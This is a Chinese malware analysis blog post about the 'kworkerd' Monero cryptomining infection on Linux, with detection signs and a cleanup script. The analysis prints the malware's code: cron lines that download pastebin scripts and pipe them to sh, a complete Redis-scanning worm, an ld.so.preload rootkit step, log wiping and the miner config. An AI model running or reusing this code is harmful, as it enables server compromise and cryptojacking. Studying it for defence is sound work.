Kworkerd恶意挖矿分析
转自:https://www.360zhijia.com/anquan/417114.html
0x01 快速特征排查
TOP显示CPU占用高,但是没有高占用的进程

存在与未知服务器13531端口建立的TCP连接

文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so

存在可疑执行base64编码的python进程

0x02 快速清除
#!/bin/bashps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9echo "" > /etc/cron.d/rootecho "" > /etc/cron.d/systemecho "" > /var/spool/cron/rootecho "" > /var/spool/cron/crontabs/rootrm -rf /etc/cron.hourly/oanacronrm -rf /etc/cron.daily/oanacronrm -rf /etc/cron.monthly/oanacronrm -rf /bin/httpdnssed -i '$d' /etc/crontabsed -i '$d' /etc/ld.so.preloadrm -rf /usr/local/lib/libntp.sops aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9rm -rf /tmp/.tmphrm -rf /bin/kworkerdsrm -rf /tmp/kworkerdsrm -rf /usr/sbin/kworkerdsrm -rf /etc/init.d/kworkerchkconfig --del kworker
0x03 细节行为分析
搜索引擎查找相关问题,也有不少人碰到,比如:

首先,CPU占用率100%,但是top命令查看,无法看到高占用��程,怀疑植入了rootkit。
查看crontab的内容,已经被写入了一个定时任务,每半小时左右会从pastebin上下载脚本并且执行(pastebin是任意上传分享的平台,攻击者借此实现匿名)
https://pastebin.com/raw/xbY7p5Tb
拿到xbY7p5Tb脚本内容如下:

(curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash
脚本中再次下载了另一个脚本,并且对脚本内容进行base64解码后执行:

脚本主要逻辑提取内容如下(省略了一堆调用的函数):
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )if [ ${update}x = "update"x ];thenechocronelseif [ ! -f "/tmp/.tmph" ]; thenrm -rf /tmp/.tmpgpythonfikillsdownloadrunechocronsystemtopsleep 10port=$(netstat -anp | grep :13531 | wc -l)if [ ${port} -eq 0 ];thendownloadrunxmfiecho 0>/var/spool/mail/rootecho 0>/var/log/wtmpecho 0>/var/log/secureecho 0>/var/log/cronfi###
该恶意脚本首先检查更新,如果有更新,执行echocron进行更新操作
https://pastebin.com/raw/TzBeq3AM

接着检查了/tmp/.tmph文件是否存在,如果存在则删除,并且执行python函数
名为Python的函数在脚本中为:
function python() {nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &touch /tmp/.tmph
其中执行的python代码经过了base64编码,解码后内容为:
#coding: utf-8import urllibimport base64d= 'https://pastebin.com/raw/nYBpuAxT'try:page=base64.b64decode(urllib.urlopen(d).read())exec(page)except:pass
这段python代码又从https://pastebin.com/raw/nYBpuAxT读取了内容,并且进行了执行:

再次base64解码后的最终代码内容如下,是一个针对redis的扫描攻击脚本,用于扩散感染:
#! /usr/bin/env python#coding: utf-8import threadingimport socketfrom re import findallimport httplibIP_LIST = []class scanner(threading.Thread):tlist = []maxthreads = 20evnt = threading.Event()lck = threading.Lock()def __init__(self,host):threading.Thread.__init__(self)self.host = hostdef run(self):try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2)s.connect((self.host, 6379))s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('config set dir /var/spool/cronrn')s.send('config set dbfilename rootrn')s.send('savern')s.close()except Exception as e:passscanner.lck.acquire()scanner.tlist.remove(self)if len(scanner.tlist) < scanner.maxthreads:scanner.evnt.set()scanner.evnt.clear()scanner.lck.release()def newthread(host):scanner.lck.acquire()sc = scanner(host)scanner.tlist.append(sc)scanner.lck.release()sc.start()newthread = staticmethod(newthread)def get_ip_list():try:url = 'ident.me'conn = httplib.HTTPConnection(url, port=80, timeout=10)req = conn.request(method='GET', url='/', )result = conn.getresponse()ip2 = result.read()ips2 = findall(r'd+.d+.', ip2)[0][:-2]for u in range(0, 10):ip_list1 = (ips2 + (str(u)) +'.')for i in range(0, 256):ip_list2 = (ip_list1 + (str(i)))for g in range(0, 256):IP_LIST.append(ip_list2 + '.' + (str(g)))except Exception:passdef runPortscan():get_ip_list()for host in IP_LIST:scanner.lck.acquire()if len(scanner.tlist) >= scanner.maxthreads:scanner.lck.release()scanner.evnt.wait()else:scanner.lck.release()scanner.newthread(host)for t in scanner.tlist:t.join()if __name__ == "__main__":runPortscan()
上述攻击脚本中,关键代码如下,通过扫描redis的6379端口,如果没有做访问验证,则直接进行远程命令执行进行感染。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2)s.connect((self.host, 6379))s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('config set dir /var/spool/cronrn')s.send('config set dbfilename rootrn')s.send('savern')s.close()
主逻辑中的python函数执行完毕,接着执行主要逻辑代码:
if [ ! -f "/tmp/.tmph" ]; thenrm -rf /tmp/.tmpgpythonfikillsdownloadrunechocronsystemtopsleep 10port=$(netstat -anp | grep :13531 | wc -l)if [ ${port} -eq 0 ];thendownloadrunxmfiecho 0>/var/spool/mail/rootecho 0>/var/log/wtmpecho 0>/var/log/secureecho 0>/var/log/cron
kills函数主要是检查是否有其他挖矿等程序在运行,直接干掉,这里不做重点代码内容展示
downloadrun函数的内容如下,从thyrsi.com中下载了一个伪装为jpg的文件,保存为/tmp下的kworkerds并执行:
function downloadrun() {ps=$(netstat -anp | grep :13531 | wc -l)if [ ${ps} -eq 0 ];thenif [ ! -f "/tmp/kworkerds" ]; thencurl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerdsif [ ! -f "/tmp/kworkerds" ]; thenwget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerdsfinohup /tmp/kworkerds >/dev/null 2>&1 &elsenohup /tmp/kworkerds >/dev/null 2>&1 &fifi}
Kworkerds文件是挖矿本体程序,拿到后扔进virustotal检查结果:


接着执行echocron函数,该函数在各个定时任务文件中写入下载恶意脚本并执行的任务,并且清除相关日志,这样加大了清理的难度:

echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/rootecho -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/systemecho -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/crontabs/rootmkdir -p /etc/cron.hourlycurl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacronif [ ! -f "/etc/cron.hourly/oanacron" ]; thenwget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacronfimkdir -p /etc/cron.dailycurl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacronif [ ! -f "/etc/cron.daily/oanacron" ]; thenwget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacronfimkdir -p /etc/cron.monthlycurl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacronif [ ! -f "/etc/cron.monthly/oanacron" ]; thenwget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacronfitouch -acmr /bin/sh /var/spool/cron/roottouch -acmr /bin/sh /var/spool/cron/crontabs/roottouch -acmr /bin/sh /etc/cron.d/systemtouch -acmr /bin/sh /etc/cron.d/roottouch -acmr /bin/sh /etc/cron.hourly/oanacrontouch -acmr /bin/sh /etc/cron.daily/oanacrontouch -acmr /bin/sh /etc/cron.monthly/oanacron
之后执行system和top函数,system��数中下载了一个恶意的脚本文件放置在/bin目录下,并且写入定时任务。
function system() {if [ ! -f "/bin/httpdns" ]; thencurl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdnsif [ ! -f "/bin/httpdns" ]; thenwget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdnsfiif [ ! -f "/etc/crontab" ]; thenecho -e "0 1 * * * root /bin/httpdns" >> /etc/crontabelsesed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontabfifi}
其中httpdns的内容为:

改脚本再次下载了一个脚本进行执行,脚本内容与上面主脚本内容类似(删减了kills system top几个函数;增加了init函数,即下载执行挖矿程序):

Top函数主要进行了rootkit的行为。
函数将伪装为jpg的恶意链接库文件下载,首先放置在/usr/local/lib目录下,之后替换/etc/ld.so.preload文件,通过预加载劫持linux系统函数,使得top、ps等命令无法找到挖矿进程;

关于preload预加载恶意动态链接相关,可以阅读此文参考:
https://blog.csdn.net/aganlengzi/article/details/21824553
最后通过touch–acmr命令,掩盖刚刚执行的操作(使得文件存取时间和变动时间与/bin/sh的日期一致,避免被怀疑)
function top() {mkdir -p /usr/local/lib/if [ ! -f "/usr/local/lib/libntp.so" ]; thencurl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.soif [ ! -f "/usr/local/lib/libntp.so" ]; thenwget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.sofifiif [ ! -f "/etc/ld.so.preload" ]; thenecho /usr/local/lib/libntp.so > /etc/ld.so.preloadelsesed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preloadfitouch -acmr /bin/sh /etc/ld.so.preloadtouch -acmr /bin/sh /usr/local/lib/libntp.so
执行上述函数后,主脚本sleep10秒,判断是否与13531端口建立了连接,如果没有,则执行downloadrunxm函数(之后可以看到,13531是与连接的矿池端口)。
Downloadrunxm函数中,同样下载了一个伪装的jpg文件,另存为/bin/config.json,又再次下载了kworkerds并且执行:
function downloadrunxm() {pm=$(netstat -anp | grep :13531 | wc -l)if [ ${pm} -eq 0 ];thenif [ ! -f "/bin/config.json" ]; thencurl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.jsonif [ ! -f "/bin/config.json" ]; thenwget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.jsonfifiif [ ! -f "/bin/kworkerds" ]; thencurl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerdsif [ ! -f "/bin/kworkerds" ]; thenwget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerdsfinohup /bin/kworkerds >/dev/null 2>&1 &elsenohup /bin/kworkerds >/dev/null 2>&1 &fifi}
拿到的config.json的内容如下:
{"algo": "cryptonight","api": {"port": 0,"access-token": null,"worker-id": null,"ipv6": false,"restricted": true},"av": 0,"background": false,"colors": true,"cpu-affinity": null,"cpu-priority": null,"donate-level": 0,"huge-pages": true,"hw-aes": null,"log-file": null,"max-cpu-usage": 100,"pools": [{"url": "stratum+tcp://xmr.f2pool.com:13531","user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig","pass": "x","rig-id": null,"nicehash": false,"keepalive": false,"variant": 1}],"print-time": 60,"retries": 5,"retry-pause": 5,"safe": false,"threads": null,"user-agent": null,"watch": false}
连接的矿池为国内的f2pool.com鱼池:

0x04 样本收集分享
搜集遇到的恶意挖矿repo:
https://github.com/MRdoulestar/whatMiner
Kworkerd恶意挖矿分析的更多相关文章
- Web应急:门罗币恶意挖矿
门罗币(Monero 或 XMR),它是一个非常注重于隐私.匿名性和不可跟踪的加密数字货币.只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑 ...
- 20165223《网络对抗技术》Exp4 恶意代码分析
目录 -- 恶意代码分析 恶意代码分析说明 实验任务目标 实验内容概述 schtasks命令使用 实验内容 系统运行监控 恶意软件分析 静态分析 virscan分析和VirusTotal分析 PEiD ...
- Exp4 恶意代码分析
一.原理与实践说明 1. 实践目标 1.1 监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2 分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysin ...
- 2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析
2018-2019-2 网络对抗技术 20165232 Exp4 恶意代码分析 1.实践目标 监控你自己系统的运行状态,看有没有可疑的程序在运行. 分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...
- 2018-2019 20165237网络对抗 Exp4 恶意代码分析
2018-2019 20165237网络对抗 Exp4 恶意代码分析 实验目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后 ...
- 2018-2019-2 20165234 《网络对抗技术》 Exp4 恶意代码分析
实验四 恶意代码分析 实验目的 1.监控自己系统的运行状态,看有没有可疑的程序在运行. 2.分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals ...
- 2018-2019-2 20165221『网络对抗技术』Exp4:恶意代码分析
2018-2019-2 20165221『网络对抗技术』Exp4:恶意代码分析 实验要求: 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后 ...
- 2018-2019-2 20165325 网络对抗技术 Exp4 恶意代码分析
2018-2019-2 20165325 网络对抗技术 Exp4 恶意代码分析 实验内容(概要) 一.系统(联网)运行监控 1. 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,逐步排查并且 ...
- 2018-2019-2 网络对抗技术 20165206 Exp4 恶意代码分析
- 2018-2019-2 网络对抗技术 20165206 Exp4 恶意代码分析 - 实验任务 1系统运行监控(2分) (1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP ...
随机推荐
- keepalived配置介绍
第一节 keepalived 高可用集群: 系统的可性= MTBF /(MTBF+MTTR) 系统可用时间,系统故障修复时间. 活动的节点将通过心跳不停的将自己的状态信息同步到备用节点上,一但主节点挂 ...
- dns-prefetch,新打开页面预抓取
dns-prefetch 对性能提升有多大 转载2016-04-07 12:57:41 标签:网站推广dns-prefetch对性能提 dns-prefetch, 是DNS预获取,也是网页前端的优化的 ...
- 完成将 toChineseNum, 可以将数字转换成中文大写的表示,处理到万级别,例如 toChineseNum(12345),返回 一万二千三百四十五
const toChineseNum = (num) => { const unit = ['', '十', '百', '千'] const counts = ['零', '一', '二', ' ...
- Nginx反向代理的基本配置
(1)proxy_pass 语法:proxy_pass URL; 配置块:location.if 此配置项将当前请求反向代理到URL参数指定的服务器上,URL可以是主机名或IP地址加端口的形式,例如: ...
- Codeforces 235C Cyclical Quest 字符串 SAM KMP
原文链接https://www.cnblogs.com/zhouzhendong/p/CF235C.html 题目传送门 - CF235C 题意 给定一个字符串 $s$ ,多组询问,每组询问的形式为 ...
- BZOJ4456/UOJ#184[Zjoi2016]旅行者 分治 最短路
原文链接http://www.cnblogs.com/zhouzhendong/p/8682133.html 题目传送门 - BZOJ4456 题目传送门 - UOJ#184 题意 $n\times ...
- P1005 矩阵取数游戏 区间dp 高精度
题目描述 帅帅经常跟同学玩一个矩阵取数游戏:对于一个给定的n \times mn×m的矩阵,矩阵中的每个元素a_{i,j}ai,j均为非负整数.游戏规则如下: 每次取数时须从每行各取走一个元素,共n ...
- 给定数组长度2n,分成n对,求n对最小元素之和最大
给定长度为 2n 的数组, 你的任务是将这些数分成 n 对, 例如 (a1, b1), (a2, b2), ..., (an, bn) ,使得从1 到 n 的 min(ai, bi) 总和最大. 示例 ...
- PAT (Basic Level) Practise - 成绩排名
1004. 成绩排名 题目链接:https://www.patest.cn/contests/pat-b-practise/1004 读入n名学生的姓名.学号.成绩,分别输出成绩最高和成绩最低学生的姓 ...
- 根据cookie记录跟踪ID来确定分享对象
一 :思路分析 1:用户注册的时候标记推客 2:推客生成分享链接 分享链接构成 (环境前缀+(此链接打开时需要调用的接口+推客的标记+&url=(商品的链接))) 3:需要写一个分享链接调 ...